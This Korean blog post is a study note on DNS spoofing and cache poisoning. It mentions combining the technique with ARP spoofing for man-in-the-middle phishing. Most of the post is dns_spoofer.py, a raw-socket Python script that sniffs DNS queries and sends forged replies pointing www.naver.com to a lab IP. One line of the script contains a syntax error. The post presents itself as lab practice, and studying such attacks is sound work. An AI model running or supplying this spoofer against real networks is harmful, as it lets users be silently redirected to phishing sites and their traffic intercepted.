본문 바로가기
프로그래밍/NETWORK HACKING

[네트워크 보안] DNS Spoofing 개념 및 DNS Spoofer를.py 이용한 실습

by B T Y 2017. 7. 27.
반응형

DNS Spoofing 개념 및 DNS Spoofer를.py 이용한 실습에 대해서 정리한다.

 

 

DNS spoofing

  - dns를 속이는 행위
  - 도메인 이름에 대한 아이피 주소를 속이는 행위

 

1. DNS Cache Poisoning
  - DNS Cache server를 대상으로 한다.
  - 시험문제인 경우에만

 

2. DNS Cache Spoofing

 

  * 1, 2번 모두 DNS Cache를 속이는 행위로 같은 개념이지만 시험일때는 서로 다른 개념으로 나오기 때문에 적어두었다.

 

출처: https://www.hackingloops.com/dns-spoofing/

 

( DNS Spoofing 개념 그림 )

 

DNS spoofing을 이용해 공격 할때는 ARP Spoofing을 이용해서 MITM을 같이 진행해준다.

  * ARP Spoofing, flagrouter, DNS Spoofing 이 세가지를 이용해서 DNS Cache를 속여 피싱 같은 공격을 할 수 있다.

 

 

- DNS Spoofing

  * DNS 응답 헤더를 조작하여 해당 도메인을 요청할때 DNS Cache server보다 더 빠르게

   거짓된 도메인 ip를 보내서 해당 도메인의 ip를 속인다.

  * 보통 피싱 사이트에서 이러한 공격 기법을 많이 사용한다.

 

dns_spoofer.py

 

 

import socket
import struct
import time
from header.packet import *
from header.eth import *
from header.ip import *
from header.udp import *

 

def make_chksum( header ):

 

  size = len( header )
  if size % 2:
    header = header + b'\x00'
    size = len( header )

 

  size = size // 2
  header = struct.unpack('!' + str(size) + 'H', header )
  chksum = sum( header )

  carry = chksum & 0xFF0000
  carry = carry >> 16


  while carry != 0:
    chksum = chksum & 0xFFFF
    chksum = chksum + carry
    carry = chksum & 0xFF0000
    carry = carry >> 16

 

  chksum = chksum ^ 0xFFFF
  return chksum

 


raw = socket.socket.( socket.PF_PACKET, socket.SOCK_RAW )
raw.bind( ('eth0', socket.SOCK_RAW) )

 

packet = ''
while True:
  data, addr = raw.recvfrom( 65535 )
  packet = Packet( data )

 

  if packet.eth.type == 0x0800 and packet.ip.type == 17 and packet.udp.dst == 53:
    name = packet.udp._data[12:]
    name = name.split(b'\x00')
    name = name[0]
    domain = ''

 

    for x in name:
      if 48 <= x <= 57: domain += chr(x)
      elif 65 <= x <= 90: domain += chr(x)
      elif 97 <= x <= 122: domain += chr(x)
      else: domain += '.'


    domain = domain[1:]
    print( domain )

 

    if domain == 'www.naver.com':

 

      eth = Eth()
      ip = Ip()
      udp = Udp()

 

      dns = packet.udp._data[:2]
      dns += b'\x81\x80'
      dns += b'\x00\x01'
      dns += b'\x00\x01'
      dns += b'\x00\x00'
      dns += b'\x00\x00'
      dns += b'\x03www\x05naver\x03com\x00'
      dns += b'\x00\x01'
      dns += b'\x00\x01'
      dns += b'\x12\x34\x56\x78'
      dns += b'\x00\x04'
      dns += b'\xc0\xa8\x06\xc8'

 

      udp.src = packet.udp.dst
      udp.dst = packet.udp.src
      udp.length = 0
      udp.chksum = 0
      udp._data = dns
      udp.length = len( udp.header )

 

      ip.ver = 4
      ip.length = 20
      ip.service = 0
      ip.total = 0
      ip.id = 0x1234
      ip.flag = 0
      ip.offset = 0
      ip.ttl = 64
      ip.type = 17
      ip.chksum = 0
      ip.src = packet.ip.dst
      ip.dst = packet.ip.src
      ip.total = len( ip.header ) + len( udp.header )
      ip.chksum = make_chksum( ip.header )

 

      pseudo_header = ip._src + ip._dst + b'\x00' + ip._type + udp._length + udp.header
      udp.chksum = make_chksum( pseudo_header )

 

      eth.dst = packet.eth.src
      eth.src = packet.eth.dst
      eth.type = packet.eth.type

 

      raw.send( eth.header + ip.header + udp.header )

 

 

( 정상적인 DNS Cache Server 를 이용하면 위처럼 정상적인 www.naver.com의 도메인 주소를 받아오고

DNS spoofer.py를 이용하면 www.naver.com의 도메인 주소가 스푸핑 되어

192.168.6.200으로 바뀌어 응답이 오는걸 보면서 DNS Spoofing 공격시 차이를 알수 있다 )

 

반응형

댓글